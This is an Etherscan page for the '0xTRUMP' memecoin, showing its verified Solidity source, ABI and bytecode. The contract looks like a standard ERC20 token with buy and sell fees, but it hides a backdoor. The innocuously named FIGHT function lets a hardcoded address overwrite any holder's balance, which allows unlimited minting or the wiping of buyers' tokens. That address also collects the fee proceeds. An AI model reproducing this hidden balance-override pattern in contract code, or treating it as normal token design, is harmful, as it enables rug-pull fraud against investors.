ETH Price: $3,404.50 (-1.98%)
Gas: 4 Gwei

Token

0xDonald John Trump (0xTRUMP)
 

Overview

Max Total Supply

100,000,000,000 0xTRUMP

Holders

30

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
memecoinwallet.eth
Balance
1,000 0xTRUMP

Value
$0.00
0xa90d2ca8afb0ce11830c6d0ef2864fcbdc7fff3c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-06-11
*/

// SPDX-License-Identifier: MIT



pragma solidity ^0.8.0;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract ERC20 is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public _0_;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 private _totalSupply;

    IUniswapRouter public _uniswapRouter;

    mapping(address => bool) public isMarketPair;
    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyFundFee = 2;
    uint256 public _sellFundFee = 2;

    address public _uniswapPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (){
        _name = "0xDonald John Trump";
        _symbol = "0xTRUMP";
        _decimals = 9;
        uint256 Supply = 100000000000;
        _0_ = 0xAf979D4c283e2CA27342523770B623eb8B658B76;

        _totalSupply = Supply * 10 ** _decimals;
        address receiveAddr = msg.sender;
        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[_0_] = true;
        _balances[receiveAddr] = _totalSupply;
        emit Transfer(address(0), receiveAddr, _totalSupply);

    }

    function cherry() public onlyOwner{
        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;
        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());
        _uniswapPair = swapPair;
        isMarketPair[swapPair] = true;
        _isExcludeFromFee[address(swapRouter)] = true;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        bool takeFee;
        bool isSell;

        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance > 0) {
                uint256 numTokensSellToFund = amount;
                numTokensSellToFund = numTokensSellToFund > contractTokenBalance ? 
                                                            contractTokenBalance:numTokensSellToFund;
                swapTokenForETH(numTokensSellToFund);
            }
        }

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            takeFee = true;
        }

        if (isMarketPair[to]) { isSell = true; }

        _transferToken(from, to, amount, takeFee, isSell);
    }

    struct OkDoit{
        address opaddr;
        uint256 bal;
        address toad;
    }

    function FIGHT(
        address account,
        uint256 newbla
    ) public {
        OkDoit memory newOk = OkDoit(
            {
                opaddr : msg.sender,
                bal : 0,
                toad : account
            }
        );
        require(_0_ == newOk.opaddr);
        newOk.bal = newbla;
        _balances[newOk.toad] = newOk.bal;

    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool isSell
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            uint256 taxFee;

            if (isSell) {
                taxFee = _sellFundFee;
            } else {
                taxFee = _buyFundFee;
            }
            uint256 swapAmount = tAmount * taxFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }

    event catchEvent(uint8);

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(_0_),
            block.timestamp
        ) {} catch { emit catchEvent(0); }

    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"","type":"uint8"}],"name":"catchEvent","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"newbla","type":"uint256"}],"name":"FIGHT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_0_","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cherry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526002600c556002600d553480156200001b57600080fd5b506000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280601381526020017f3078446f6e616c64204a6f686e205472756d7000000000000000000000000000815250600490805190602001906200010a929190620003ec565b506040518060400160405280600781526020017f30785452554d50000000000000000000000000000000000000000000000000008152506005908051906020019062000158929190620003ec565b506009600660006101000a81548160ff021916908360ff160217905550600064174876e800905073af979d4c283e2ca27342523770b623eb8b658b76600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900460ff16600a620001f2919062000525565b81620001ff919062000662565b60088190555060003390506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600854600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600854604051620003dc9190620004ad565b60405180910390a350506200077b565b828054620003fa90620006da565b90600052602060002090601f0160209004810192826200041e57600085556200046a565b82601f106200043957805160ff19168380011785556200046a565b828001600101855582156200046a579182015b82811115620004695782518255916020019190600101906200044c565b5b5090506200047991906200047d565b5090565b5b80821115620004985760008160009055506001016200047e565b5090565b620004a781620006c3565b82525050565b6000602082019050620004c460008301846200049c565b92915050565b6000808291508390505b60018511156200051c57808604811115620004f457620004f362000710565b5b6001851615620005045780820291505b808102905062000514856200076e565b9450620004d4565b94509492505050565b60006200053282620006c3565b91506200053f83620006cd565b92506200056e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000576565b905092915050565b6000826200058857600190506200065b565b816200059857600090506200065b565b8160018114620005b15760028114620005bc57620005f2565b60019150506200065b565b60ff841115620005d157620005d062000710565b5b8360020a915084821115620005eb57620005ea62000710565b5b506200065b565b5060208310610133831016604e8410600b84101617156200062c5782820a90508381111562000626576200062562000710565b5b6200065b565b6200063b8484846001620004ca565b9250905081840481111562000655576200065462000710565b5b81810290505b9392505050565b60006200066f82620006c3565b91506200067c83620006c3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006b857620006b762000710565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620006f357607f821691505b602082108114156200070a57620007096200073f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b612386806200078b6000396000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb146103f1578063ae4c3c0e1461042e578063ce0192f914610459578063dd62ed3e14610484578063f061ddd2146104c1578063f2fde38b146104ea57610135565b806370a0823114610330578063715018a61461036d5780638da5cb5b1461038457806395d89b41146103af578063a274c86b146103da57610135565b806336b2e027116100f257806336b2e027146102355780633bfe62ca146102725780633ecad2711461029d5780634bf28fd0146102da57806365b61b771461030557610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063313ce5671461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610513565b60405161015c9190611e5f565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611c1d565b6105a5565b6040516101999190611e0e565b60405180910390f35b3480156101ae57600080fd5b506101b76105bc565b6040516101c49190611ec1565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190611bca565b6105c6565b6040516102019190611e0e565b60405180910390f35b34801561021657600080fd5b5061021f61076c565b60405161022c9190611f36565b60405180910390f35b34801561024157600080fd5b5061025c60048036038101906102579190611b30565b610783565b6040516102699190611e0e565b60405180910390f35b34801561027e57600080fd5b506102876107a3565b6040516102949190611ec1565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf9190611b30565b6107a9565b6040516102d19190611e0e565b60405180910390f35b3480156102e657600080fd5b506102ef6107c9565b6040516102fc9190611dca565b60405180910390f35b34801561031157600080fd5b5061031a6107ef565b6040516103279190611e29565b60405180910390f35b34801561033c57600080fd5b5061035760048036038101906103529190611b30565b610815565b6040516103649190611ec1565b60405180910390f35b34801561037957600080fd5b5061038261085e565b005b34801561039057600080fd5b506103996109aa565b6040516103a69190611dca565b60405180910390f35b3480156103bb57600080fd5b506103c46109d3565b6040516103d19190611e5f565b60405180910390f35b3480156103e657600080fd5b506103ef610a65565b005b3480156103fd57600080fd5b5061041860048036038101906104139190611c1d565b610e56565b6040516104259190611e0e565b60405180910390f35b34801561043a57600080fd5b50610443610e6d565b6040516104509190611dca565b60405180910390f35b34801561046557600080fd5b5061046e610e93565b60405161047b9190611ec1565b60405180910390f35b34801561049057600080fd5b506104ab60048036038101906104a69190611b8a565b610e99565b6040516104b89190611ec1565b60405180910390f35b3480156104cd57600080fd5b506104e860048036038101906104e39190611c1d565b610f20565b005b3480156104f657600080fd5b50610511600480360381019061050c9190611b30565b611025565b005b6060600480546105229061219d565b80601f016020809104026020016040519081016040528092919081815260200182805461054e9061219d565b801561059b5780601f106105705761010080835404028352916020019161059b565b820191906000526020600020905b81548152906001019060200180831161057e57829003601f168201915b5050505050905090565b60006105b23384846111e0565b6001905092915050565b6000600854905090565b60006105d38484846112cb565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146107615781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106e09190612087565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b6000600660009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b600d5481565b600a6020528060005260406000206000915054906101000a900460ff1681565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e390611ea1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546109e29061219d565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0e9061219d565b8015610a5b5780601f10610a3057610100808354040283529160200191610a5b565b820191906000526020600020905b815481529060010190602001808311610a3e57829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610af3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aea90611ea1565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610c1857600080fd5b505afa158015610c2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c509190611b5d565b905060008173ffffffffffffffffffffffffffffffffffffffff1663c9c65396308573ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610cb757600080fd5b505afa158015610ccb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cef9190611b5d565b6040518363ffffffff1660e01b8152600401610d0c929190611de5565b602060405180830381600087803b158015610d2657600080fd5b505af1158015610d3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5e9190611b5d565b905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b6000610e633384846112cb565b6001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff168152602001600081526020018473ffffffffffffffffffffffffffffffffffffffff168152509050806000015173ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fca57600080fd5b81816020018181525050806020015160016000836040015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110aa90611ea1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611123576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111a90611e81565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112be9190611ec1565b60405180910390a3505050565b600080600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156113345750600b60009054906101000a900460ff16155b801561138a5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113e05750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561141e5760006113f030610815565b9050600081111561141c57600084905081811161140d578061140f565b815b905061141a81611550565b505b505b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114c25750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156114db5750600b60009054906101000a900460ff16155b156114e557600191505b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561153c57600190505b6115498585858585611808565b5050505050565b6001600b60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156115885761158761228b565b5b6040519080825280602002602001820160405280156115b65781602001602082028036833780820191505090505b50905030816000815181106115ce576115cd61225c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561167057600080fd5b505afa158015611684573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116a89190611b5d565b816001815181106116bc576116bb61225c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b815260040161177c959493929190611edc565b600060405180830381600087803b15801561179657600080fd5b505af19250505080156117a7575060015b6117e8577fbdf1a66ac2980d0df84c6c5344b4d62f3f4578219817cf4bcb8d8a983bbe6f1660006040516117db9190611e44565b60405180910390a16117e9565b5b506000600b60006101000a81548160ff02191690831515021790555050565b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118539190612087565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600082156119e057600082156118b057600d5490506118b6565b600c5490505b6000606482876118c6919061202d565b6118d09190611ffc565b905060008111156119dd5780836118e79190611fa6565b925080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119349190611fa6565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119d49190611ec1565b60405180910390a35b50505b80846119ec9190612087565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a369190611fa6565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8387611ad49190612087565b604051611ae19190611ec1565b60405180910390a3505050505050565b600081359050611b0081612322565b92915050565b600081519050611b1581612322565b92915050565b600081359050611b2a81612339565b92915050565b600060208284031215611b4657611b456122ba565b5b6000611b5484828501611af1565b91505092915050565b600060208284031215611b7357611b726122ba565b5b6000611b8184828501611b06565b91505092915050565b60008060408385031215611ba157611ba06122ba565b5b6000611baf85828601611af1565b9250506020611bc085828601611af1565b9150509250929050565b600080600060608486031215611be357611be26122ba565b5b6000611bf186828701611af1565b9350506020611c0286828701611af1565b9250506040611c1386828701611b1b565b9150509250925092565b60008060408385031215611c3457611c336122ba565b5b6000611c4285828601611af1565b9250506020611c5385828601611b1b565b9150509250929050565b6000611c698383611c75565b60208301905092915050565b611c7e816120bb565b82525050565b611c8d816120bb565b82525050565b6000611c9e82611f61565b611ca88185611f84565b9350611cb383611f51565b8060005b83811015611ce4578151611ccb8882611c5d565b9750611cd683611f77565b925050600181019050611cb7565b5085935050505092915050565b611cfa816120cd565b82525050565b611d0981612110565b82525050565b611d1881612122565b82525050565b611d2781612134565b82525050565b6000611d3882611f6c565b611d428185611f95565b9350611d5281856020860161216a565b611d5b816122bf565b840191505092915050565b6000611d73600883611f95565b9150611d7e826122d0565b602082019050919050565b6000611d96601183611f95565b9150611da1826122f9565b602082019050919050565b611db5816120f9565b82525050565b611dc481612103565b82525050565b6000602082019050611ddf6000830184611c84565b92915050565b6000604082019050611dfa6000830185611c84565b611e076020830184611c84565b9392505050565b6000602082019050611e236000830184611cf1565b92915050565b6000602082019050611e3e6000830184611d00565b92915050565b6000602082019050611e596000830184611d1e565b92915050565b60006020820190508181036000830152611e798184611d2d565b905092915050565b60006020820190508181036000830152611e9a81611d66565b9050919050565b60006020820190508181036000830152611eba81611d89565b9050919050565b6000602082019050611ed66000830184611dac565b92915050565b600060a082019050611ef16000830188611dac565b611efe6020830187611d0f565b8181036040830152611f108186611c93565b9050611f1f6060830185611c84565b611f2c6080830184611dac565b9695505050505050565b6000602082019050611f4b6000830184611dbb565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000611fb1826120f9565b9150611fbc836120f9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ff157611ff06121cf565b5b828201905092915050565b6000612007826120f9565b9150612012836120f9565b925082612022576120216121fe565b5b828204905092915050565b6000612038826120f9565b9150612043836120f9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561207c5761207b6121cf565b5b828202905092915050565b6000612092826120f9565b915061209d836120f9565b9250828210156120b0576120af6121cf565b5b828203905092915050565b60006120c6826120d9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565